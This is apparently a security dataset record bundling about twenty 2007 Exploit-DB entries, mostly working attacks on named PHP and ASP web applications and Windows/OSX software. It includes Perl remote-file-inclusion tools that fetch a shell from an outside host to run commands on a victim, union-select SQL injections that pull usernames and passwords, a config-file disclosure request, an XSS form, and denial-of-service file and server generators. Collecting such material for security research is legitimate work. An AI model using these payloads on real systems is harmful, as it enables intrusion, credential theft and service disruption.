QLWD/code_shield huggingface dataset:
标题: Drunken:Golem Portal 0.5.1 Alpha 2 - Remote File Inclusion EDB-ID: 3207 CVE: 2007-0572 类型: WEBAPPS 平台: PHP 发布日期: 2007-01-27 漏洞利用脚本: #(C) MackRulZ - 2007
#
# [Bug name: Drunken:Golem Gaming Portal (root_path) Remote File Include Exploit
#
# [Script Name: Xero Portal v1.2
#
# [Wrong Codes:  require($phpbb_root_path . 'includes/bbcode.'.$phpEx);
#
$rfi = "phpIRC.php?root_path="; 
$path = "/include/irc/";
$shell = "http://pang0.by.ru/shall/pang057.zz?cmd=";
print "Language: English // Turkish\nPlz Select Lang:\n"; $dil = <STDIN>; chop($dil);
if($dil eq "English"){
print "(c) Mackrulz\n";
&ex;
}
elsif($dil eq "Turkish"){
print "Kodlayan MackruLz\n";
&ex;
}
else {print "Plz Select Languge\n"; exit;}
sub ex{
$not = "Victim is Not Vunl.\n" and $not_cmd = "Victim is Vunl but Not doing Exec.\n"
and $vic = "Victim Addres? with start http:// :" and $thx = "Greetz " and $diz = "Dictionary?:" and $komt = "Command?:"
if $dil eq "English";
$not = "Adreste RFI acigi Yok\n" and $not_cmd = "Adresde Ac.k Var Fakat Kod Calismiyor\n"
and $vic = "Ornek Adres http:// ile baslayan:" and $diz = "Dizin?: " and $thx = "Tesekkurler " and $komt = "Command?:"
if $dil eq "Turkish";
print "$vic";
$victim = <STDIN>;
chop($victim);
print "$diz";
$dizn = <STDIN>;
chop($dizn);
$dizin = $dizn;
$dizin = "/" if !$dizn;
print "$komt";
$cmd = <STDIN>;
chop($cmd);
$cmmd = $cmd;
$cmmd = "dir" if !$cmd;
$site = $victim;
$site = "http://$victim" if !($victim =~ /http/);
$acacaz = "$site$dizin$rfi$shell$cmmd";
print "(c) Mackrulz\n$thx: xoron\n";
sleep 3;
system("start $acacaz");
}

# milw0rm.com [2007-01-27] URL: https://www.exploit-db.com/exploits/3207
标题: Xt-Stats 2.4.0.b3 (server_base_dir) - Remote File Inclusion EDB-ID: 3209 CVE: 2007-0576 类型: WEBAPPS 平台: PHP 发布日期: 2007-01-27 漏洞利用脚本: Download:http://www.xt-scripts.com/index.php?dl=32
**************************************************
Finded by ThE dE@Th
*******************

Greetz For :AsB-May Team & HaCk.eGy
***********************************

xt_counter.php:
*************

require( $server_base_dir.'management/sources/counter_class.php');


http://www.site.com/[path]/xt_counter.php?server_base_dir=[evil_code]
*************************************************************

# milw0rm.com [2007-01-27] URL: https://www.exploit-db.com/exploits/3209
标题: ACGVclick 0.2.0 - 'path' Remote File Inclusion EDB-ID: 3206 CVE: 2007-0577 类型: WEBAPPS 平台: PHP 发布日期: 2007-01-27 漏洞利用脚本: *******************************************************************************
# Title   :  ACGVclick <= 0.2.0 (path) Remote File Include Vulnerability
# Author  :  ajann
# Contact :  :(
# S.Page  :  http://acgv.free.fr
# $$      :  Free

*******************************************************************************
[[ERROR]]]
..
...
.....
<?
include($path."mysql.php");
include($path."aclick_connect.php");
$raf= new mysql_connection($hote,$login,$pass,$base);
?>
..
...
.....

[[ERROR]]]


[[RFI]]]

http://[target]/[path]//function.inc.php?path=[SHELL]

Example:

//function.inc.php?path=http://[target]/[path]/shell.x

[[/RFI]]

"""""""""""""""""""""
# ajann,Turkey
# ...

# Im not Hacker!

# milw0rm.com [2007-01-27] URL: https://www.exploit-db.com/exploits/3206
标题: AINS 0.02b - 'ains_main.php?ains_path' Remote File Inclusion EDB-ID: 3202 CVE: 2007-0570 类型: WEBAPPS 平台: PHP 发布日期: 2007-01-26 漏洞利用脚本: AINS 0.02b - Remote File Include Vulnerabilities

Download:http://puzzle.dl.sourceforge.net/sourceforge/wassup/AINS002beta.zip
Finded by ThE dE@Th
Greetings For :AsB-May Team & HaCk.eGy


ains_main.php:


include("$ains_path/ains_global.inc");


http://www.site.com/[path]/ains_main.php?ains_path=[evil_code]

# milw0rm.com [2007-01-26] URL: https://www.exploit-db.com/exploits/3202
标题: FD Script 1.3.2 - 'download.php' Remote File Disclosure EDB-ID: 3203 CVE: 2007-0620 类型: WEBAPPS 平台: PHP 发布日期: 2007-01-26 漏洞利用脚本: *******************************************************************************
# Title   :  FdScript <= v1.3.2 Remote File Disclosure Vulnerability
# Author  :  ajann
# Contact :  :(
# Site    :  http://stud.usv.ro/~vlad_l/
# $$      :  Free

*******************************************************************************

[[SOURCE]]]---------------------------------------------------------

http://[target]/[path]//download.php?fname=[SOURCE FILE]

Example:

//download.php?fname=./indexfiles/config.php
[[/SOURCE]]

"""""""""""""""""""""
# ajann,Turkey
# ...

# Im not Hacker!

# milw0rm.com [2007-01-26] URL: https://www.exploit-db.com/exploits/3203
标题: MyPHPcommander 2.0 - 'package.php' Remote File Inclusion EDB-ID: 3201 CVE: 2007-0568 类型: WEBAPPS 平台: PHP 发布日期: 2007-01-26 漏洞利用脚本: ######################################################
#
#script : http://sourceforge.net/projects/myphpcommander
#
######################################################
#
#file :  package.php
#
######################################################
#
#vuln : require_once $gl_root.'system/lib/xml2.php';
#
######################################################
#
#Contact : Cold z3ro , C.o.1.d.0@hotmail.com
#
######################################################
#
#Exploit:
http://site.0/myphpcommander_path/system/lib/package.php?gl_root=http://www.4azhar.com/soft.txt?cmd
#
######################################################

======================================================

----  GreeTz: |MoHaNdKo|  |Cold One|  |Cold ThreE| |Viper Hacker| |The Wolf
KSA| |o0xxdark0o| |OrGanza| |H@mLiT| |Snake12| |Root Shell| |Metoovit| |Fucker_net| |Rageb| |CoDeR| |HuGe| |Str0ke|
|Dr.TaiGaR| |BLacK HackErD| |JEeN HacKer| |Nazy L!unx| |KURTEFENDY| |Spid1r Net| |Big Hacker| |Hacccr| |hacoor| || |Geniral C|
|Mr.TyrAnT| |Zax| |Zooz| | Al 3afreat | |The-Falcon-Ksa| | The Sniper | . ||| Team Hell ||| | DearMan | |Pro Hacker| |
020 | | abdulla00 " alz3eem" | | The_Viper | All i know

Big Thx For : www.4azhar.com , Viva My HomeLand Palestine .

# milw0rm.com [2007-01-26] URL: https://www.exploit-db.com/exploits/3201
标题: forum livre 1.0 - SQL Injection / Cross-Site Scripting EDB-ID: 3197 CVE: 2007-0590 2007-0589 类型: WEBAPPS 平台: ASP 发布日期: 2007-01-25 漏洞利用脚本: *******************************************************************************
# Title   :  Forum Livre 1.0 Multiple Remote Vulnerabilities
# Author  :  ajann
# Contact :  :(
# $$      :  Free

*******************************************************************************

[[SQL]]]---------------------------------------------------------

Login Before..->

http://[target]/[path]//info_user.asp?user=[SQL]

Example:

//info_user.asp?user=-1'union%20select%200,0,0,loginu,senhau,0,0,0,0,0,0%20from%20tusuario

[[/SQL]]

[[XSS]]]---------------------------------------------------------

Login Before..->

http://[target]/[path]//busca2.asp (POST Method) [SQL]

Example:

<form method="POST" action="http://[TARGET]/[path]/busca2.asp">
<input type="text" name="palavra" value="[#]XSS HERE[#]">
<input type="radio" value="all" name="tipo" checked>
<input type="radio" value="some" name="tipo">
<select size="1" name="forum">
<option value="">Todos os fóruns</option>
<option value="">Fórum ComCatz</option>
<input type="submit" value="Investigar" name="B1">
</form>

[[/XSS]]

"""""""""""""""""""""
# ajann,Turkey
# ...

# Im not Hacker!

# milw0rm.com [2007-01-25] URL: https://www.exploit-db.com/exploits/3197
标题: vhostadmin 0.1 - 'MODULES_DIR' Remote File Inclusion EDB-ID: 3191 CVE: 2007-0558 类型: WEBAPPS 平台: PHP 发布日期: 2007-01-24 漏洞利用脚本: _________________________________
      ________|                                 |________
      \       |         Dr Max Virus            |       /
       \      |                                 |      /
       /      |_________________________________|      \
      /___________)                         (___________\
------------------------------------------------------------------------------------------------------------------------
Script:vHostAdmin
Affected Version:1.0
Risk:Highly Critical
Downlaoad:http://www.inter7.com/vhostadmin/vhostadmin-cvs-1112134662.tar.gz
------------------------------------------------------------------------------------------------------------------------
Author:Dr Max Virus
------------------------------------------------------------------------------------------------------------------------
Bug in (modules/mail/main.php)
Vul Code;
require_once($MODULES_DIR . '/mail/domains.php');
require_once($MODULES_DIR . '/mail/users.php');
require_once($MODULES_DIR . '/mail/forwards.php');
------------------------------------------------------------------------------------------------------------------------
POC:
http://[target]/[path]/modules/mail/main.php?MODULES_DIR=shell.txt?&cmd=0wn3d 
By Dr Max Virus;
------------------------------------------------------------------------------------------------------------------------
Thx:str0ke-koray-Timq-r0ut3r-nuffsaid-All My Friends
Special Greetz:AsianEagle-TheMaster-Kacper-Hotturk
------------------------------------------------------------------------------------------------------------------------

# milw0rm.com [2007-01-24] URL: https://www.exploit-db.com/exploits/3191
标题: Xero Portal - 'phpbb_root_path' Remote File Inclusion EDB-ID: 3192 CVE: 2007-0561 类型: WEBAPPS 平台: PHP 发布日期: 2007-01-24 漏洞利用脚本: #(C) XORON - 2007
#
# [Bug name: Xero Portal v1.2 (phpbb_root_path) Local File Include Vulnerablity
#
# [Script Name: Xero Portal v1.2
#
# [Wrong Codes:  require($phpbb_root_path . 'includes/bbcode.'.$phpEx);
#
# [Exploit: 
# www.[target].com/[script_pat]/admin/admin_linkdb.php?phpbb_root_path=http://evilscripts?
# www.[target].com/[script_pat]/admin/admin_forum_prune.php?phpbb_root_path=http://evilscripts?
# www.[target].com/[script_pat]/admin/admin_extensions.php?phpbb_root_path=http://evilscripts?
# www.[target].com/[script_pat]/admin/admin_board.php?phpbb_root_path=http://evilscripts?
# www.[target].com/[script_pat]/admin/admin_attachments.php?phpbb_root_path=http://evilscripts?
# www.[target].com/[script_pat]/admin/admin_users.php?phpbb_root_path=http://evilscripts?
#
# [xoron.biz - xoron.info]
# 
# [Greetz: str0ke, kacper, k1tkat, SHiKAa 
#
# [Tesekkurler: chaos, pang0, DJR, Dr Max Vir.s ;)
#
$rfi = "admin_linkdb.php?phpbb_root_path="; 
$path = "/admin/";
$shell = "http://pang0.by.ru/shall/pang057.zz?cmd=";
print "Language: English // Turkish\nPlz Select Lang:\n"; $dil = <STDIN>; chop($dil);
if($dil eq "English"){
print "(c) xoron\n";
&ex;
}
elsif($dil eq "Turkish"){
print "Kodlayan xoron\n";
&ex;
}
else {print "Plz Select Languge\n"; exit;}
sub ex{
$not = "Victim is Not Vunl.\n" and $not_cmd = "Victim is Vunl but Not doing Exec.\n"
and $vic = "Victim Addres? with start http:// :" and $thx = "Greetz " and $diz = "Dictionary?:" and $komt = "Command?:"
if $dil eq "English";
$not = "Adreste RFI acigi Yok\n" and $not_cmd = "Adresde Ac.k Var Fakat Kod Calismiyor\n"
and $vic = "Ornek Adres http:// ile baslayan:" and $diz = "Dizin?: " and $thx = "Tesekkurler " and $komt = "Command?:"
if $dil eq "Turkish";
print "$vic";
$victim = <STDIN>;
chop($victim);
print "$diz";
$dizn = <STDIN>;
chop($dizn);
$dizin = $dizn;
$dizin = "/" if !$dizn;
print "$komt";
$cmd = <STDIN>;
chop($cmd);
$cmmd = $cmd;
$cmmd = "dir" if !$cmd;
$site = $victim;
$site = "http://$victim" if !($victim =~ /http/);
$acacaz = "$site$dizin$rfi$shell$cmmd";
print "(c) xoron // www.xoron.biz\n$thx: chaos, pang0, str0ke, kacper, DJR, bjorn\n";
sleep 3;
system("start $acacaz");
}

# milw0rm.com [2007-01-24] URL: https://www.exploit-db.com/exploits/3192
标题: ASP EDGE 1.2b - 'user.asp' SQL Injection EDB-ID: 3186 CVE: 2007-0560 类型: WEBAPPS 平台: ASP 发布日期: 2007-01-24 漏洞利用脚本: *******************************************************************************
# Title   :  ASP EDGE <= V1.2b (user.asp) Remote SQL Injection Vulnerability
# Author  :  ajann
# Contact :  :(
# S.Page  :  http://aspedge.cjb.net || http://www.planetsourcecode.com/vb/scripts/ShowCode.asp?txtCodeId=7530&lngWId=4
# $$      :  Free

*******************************************************************************

[[SQL]]]---------------------------------------------------------

http://[target]/[path]//user.asp?user=[SQL]

Example:

//user.asp?user='union%20select%20username,0,username,0,password,0,0,0,0,0%20from%20users

[[/SQL]]

"""""""""""""""""""""
# ajann,Turkey
# ...

# Im not Hacker!

# milw0rm.com [2007-01-24] URL: https://www.exploit-db.com/exploits/3186
标题: Microsoft Windows Explorer - '.AVI' File Denial of Service EDB-ID: 3190 CVE: 2007-0562 类型: DOS 平台: WINDOWS 发布日期: 2007-01-24 漏洞利用脚本: print "-----------------------------------------------------------------------------------"
print "Explorer.exe version 6.0.2900.2180 .avi file Denial of Service"
print "author: shinnai"
print "mail: shinnai[at]autistici[dot]org"
print "site: http://shinnai.altervista.org"
print "Tested on Windows XP Professional SP2 all patched"
print "right click of the mouse on the file to see Explorer.exe die"
print "-----------------------------------------------------------------------------------"

fileOut = open('die.avi','wb')
fileOut.write('\x4D\x54\x68\x64\x00\x00\x00\x06\x00\x00\x00\x00\x00\x00')
fileOut.close()

# milw0rm.com [2007-01-24] URL: https://www.exploit-db.com/exploits/3190
标题: Microsoft Excel - Malformed Palette Record Denial of Service (PoC) (MS07-002) EDB-ID: 3193 CVE: 2007-0031 类型: DOS 平台: WINDOWS 发布日期: 2007-01-25 漏洞利用脚本: """
MS07-002 EXCEL Malformed Palette Record Vulnerability DOS POC

######
Author
######
LifeAsaGeek at gmail.com
... and Microsoft said that vuln credit is for Greg MacManus of iDefense Labs

########################
Vulnerablity Description
########################
Bound error occurs when parsing Palette Record and it causes Heap Overflow
check out here - http://picasaweb.google.com/lifeasageek/MS07002/photo?pli=1#5022146178204021506
   which is generated by DarunGrim
   ( and I want to say I'm not a person who made this analyzer ==; )

#############
Attack Vector
#############
Arbitary Data will be overwritten to the heap, but arbitary data is highly depends on the stack status !
Result of heap overflow, you can overwrite 2 bytes to restricted range address ( not anywhere )
In *CERTAIN* environment( such as open excel file which is already opened)
    you can catch the flow by modify function pointer, but it doesn't have a reliablity at all
Let me know if you have a good method to break down

######
Result
######
DOS

#####
Notes
#####
You should modify pyExcelerator module because it doesn't generate Palette Record

pyExcelerator diff results would be like below

diff h:\study\pyexcelerator-0.6.3a\pyExcelerator-0.6.3a\build\lib\pyExcelerator\BIFFRecords.py pyExcelerator\BIFFRecords.py
1104a1105,1108
>     def __init__(self):
>         BiffRecord.__init__(self)
>         self._rec_data = pack('<H', 0x0038) # number of colours
>         self._rec_data += 'A' * 0xe0
diff h:\study\pyexcelerator-0.6.3a\pyExcelerator-0.6.3a\build\lib\pyExcelerator\Workbook.py pyExcelerator\Workbook.py
468,469c468
<         result = ''
<         return result
---
>         return BIFFRecords.PaletteRecord().get()

!! THIS IS ONLY FOR EDUCATIONAL PURPOSE !!
 - 2007.01.25
"""

import sys, os
from struct import *
from pyExcelerator import *

def CreateXLS():
    w = Workbook()
    ws = w.add_sheet('MS07-002 POC')
    w.save( "before.xls")


def ModifyXLS():
    try:
        f = open( "before.xls", "rb")
    except:
     print "File Open Error ! "
     sys.exit(0)

    str = f.read()
    f.close()

    #write to malformed xls file
    f = open( "after.xls", "wb")

    PaletteRecord = pack( "<HHH", 0x0092, 0x00E2, 0x0038)
    NewPaletteRecord = pack( "<HHH", 0x0092, 0x00E2, 0x01FF)

    palette_idx = str.find( PaletteRecord)

    if palette_idx == -1:
     print "Cannot find Palette Record"
     sys.exit(0)

    str = str.replace( PaletteRecord, NewPaletteRecord)
    f.write( str)
    f.close()

if __name__ == "__main__":
    print "==========================================================="
    print "MS07-002 Malformed Palette Record vulnerability DOS POC "
    print "Create POC Excel File after.xls"
    print "by LifeAsaGeek at gmail.com"
    print "==========================================================="
    CreateXLS()
    ModifyXLS() 

# milw0rm.com [2007-01-25] URL: https://www.exploit-db.com/exploits/3193
标题: Virtual Path 1.0 - '/vp/configure.php' Remote File Inclusion EDB-ID: 3198 CVE: 2007-0591 类型: WEBAPPS 平台: PHP 发布日期: 2007-01-25 漏洞利用脚本: +=====================================================================
+                  Virtual Path phpBB <== v1.0                       |
+=====================================================================
+ Downlaoad S :http://sourceforge.net/projects/virtualpath/          |
+=====================================================================
+ Author: GolD_M = Mahmood_ali  &&  Contact: HackEr_@W.Cn            |
======================================================================
+ SpeciaL GreeTz : Tryag-Team & 4lKaSrGoLd3n-Team                    |
+=====================================================================
+ In:  /vp/configure.php                                             |
+=====================================================================
+ Vulnerable Code:  &  Line : 3                                      |
+=====================================================================
+ include_once($phpbb_root_path. 'vp/conf.php');                     |
+=====================================================================
+ Exploit:                                                           |
+=====================================================================
+ http://Victim.Com/vp/configure.php?phpbb_root_path=Evil?           |
+=====================================================================
+                    Tryag.Com & Dwrat.com                           |
+=====================================================================

# milw0rm.com [2007-01-25] URL: https://www.exploit-db.com/exploits/3198
标题: phpXD 0.3 - 'path' Remote File Inclusion EDB-ID: 3184 CVE: 2007-0511 类型: WEBAPPS 平台: PHP 发布日期: 2007-01-23 漏洞利用脚本: _________________________________
      ________|                                 |________
      \       |              Dr Max Virus       |       /
       \      |                                 |      /
       /      |_________________________________|      \
      /___________)                         (___________\
------------------------------------------------------------------------------------------------------------------------
Script:phpxd
Affected Version:0.3
Downlaoad:http://websec.science.uva.nl/~kaper/xml_archief/phpXD/phpxd_0.3.tar.gz
------------------------------------------------------------------------------------------------------------------------
Author:Dr Max Virus
------------------------------------------------------------------------------------------------------------------------
Bug in (include/)
Vul Code;
require($path."include/dom/Node.php");
require($path."include/dom/Attr.php");
require($path."include/dom/CharacterData.php");
require($path."include/dom/Comment.php");
require($path."include/dom/Document.php");
------------------------------------------------------------------------------------------------------------------------
POC:
http://[target]/[path]/include/dom.php?path=[Bad Code]
http://[target]/[path]/include/dtd.php?path=[Bad Code]
http://[target]/[path]/include/parser.php?path=[Bad Code]
------------------------------------------------------------------------------------------------------------------------
Thx:str0ke-koray-Timq-r0ut3r-nuffsaid-All My Friends
Special Greetz:AsianEagle-TheMaster-Kacper-Hotturk
------------------------------------------------------------------------------------------------------------------------

# milw0rm.com [2007-01-23] URL: https://www.exploit-db.com/exploits/3184
标题: Apple CFNetwork - HTTP Response Denial of Service EDB-ID: 3200 CVE: 2007-0464 类型: DOS 平台: OSX 发布日期: 2007-01-25 漏洞利用脚本: #!/usr/bin/ruby
# (c) Copyright 2007 Lance M. Havok <lmh [at] info-pull.com>
# Proof of concept for MOAB-25-01-2007.
#

require 'socket'

web_port = (ARGV[0] || 80).to_i

puts "++ Starting HTTP server at port #{web_port}."
web_server  = TCPServer.new(nil, web_port)
while (session = web_server.accept)
  rand_clen = rand(80)
  useragent = session.recvfrom(2000)[0].scan(/User-Agent: (.*)/).flatten[0].chomp!
  puts "++ Connected: #{useragent}"
  session.print "HTTP/1.1 301 OK\r\n"
  session.print "Content-Type: text/html\r\n"
  session.print "Content-Length: #{rand_clen}\r\n"
  session.print "Location: http://nonexistent123\r\n\r\n"
  session.print "X" * rand_clen
  session.close
end

# milw0rm.com [2007-01-25] URL: https://www.exploit-db.com/exploits/3200
标题: ASP NEWS 3.0 - 'news_detail.asp' SQL Injection EDB-ID: 3187 CVE: 2007-0566 类型: WEBAPPS 平台: ASP 发布日期: 2007-01-24 漏洞利用脚本: *******************************************************************************
# Title   :  ASP NEWS <= V3 (news_detail.asp) Remote SQL Injection Vulnerability
# Author  :  ajann
# Contact :  :(
# S.Page  :  http://www.planetgraphic.de/

*******************************************************************************

[[SQL]]]---------------------------------------------------------

http://[target]/[path]//news_detail.asp?id=[SQL]

Example:

//news_detail.asp?id=-1%20union%20select%200,username,password,0,0,0%20from%20tblusers

[[/SQL]]

"""""""""""""""""""""
# ajann,Turkey
# ...

# Im not Hacker!

# milw0rm.com [2007-01-24] URL: https://www.exploit-db.com/exploits/3187
标题: makit Newsposter Script 3.0 - SQL Injection EDB-ID: 3194 CVE: 2007-0600 类型: WEBAPPS 平台: ASP 发布日期: 2007-01-25 漏洞利用脚本: *******************************************************************************
# Title   :  makit news/blog poster <=v3(news_page.asp) Remote SQL Injection Vulnerability
# Author  :  ajann
# Contact :  :(
# S.Page  :  http://www.makit.net
# $$      :  Free

*******************************************************************************

[[SQL]]]---------------------------------------------------------

http://[target]/[path]//news_page.asp?uid=[SQL]

Example:

//news_page.asp?uid=-1'%20union%20select%200,0,0,uname,pword,0,0,0%20from%20users%20where%20'1=1

[[/SQL]]

"""""""""""""""""""""
# ajann,Turkey
# ...

# Im not Hacker!

# milw0rm.com [2007-01-25] URL: https://www.exploit-db.com/exploits/3194
标题: GPS CMS 1.2 - 'print.asp' SQL Injection EDB-ID: 3195 CVE: 2007-0554 类型: WEBAPPS 平台: ASP 发布日期: 2007-01-25 漏洞利用脚本: *******************************************************************************
# Title   :  GPS 1.2 Content Managing System (print.asp) Remote SQL Injection Vulnerability
# Author  :  ajann
# Contact :  :(
# S.Page  :  http://www.guox.de || http://www.planetsourcecode.com/vb/scripts/ShowCode.asp?txtCodeId=7227&lngWId=4
# $$      :  Free

*******************************************************************************

[[SQL]]]---------------------------------------------------------

http://[target]/[path]//print.asp?id=[SQL]

Example:

//print.asp?id=-1%20union%20select%200,0,0,Benutzername,0%20from%20userdb%20where%20ID=10
//print.asp?id=-1%20union%20select%200,0,0,Passwort,0%20from%20userdb%20where%20ID=10

[[/SQL]]

"""""""""""""""""""""
# ajann,Turkey
# ...

# Im not Hacker!

# milw0rm.com [2007-01-25] URL: https://www.exploit-db.com/exploits/3195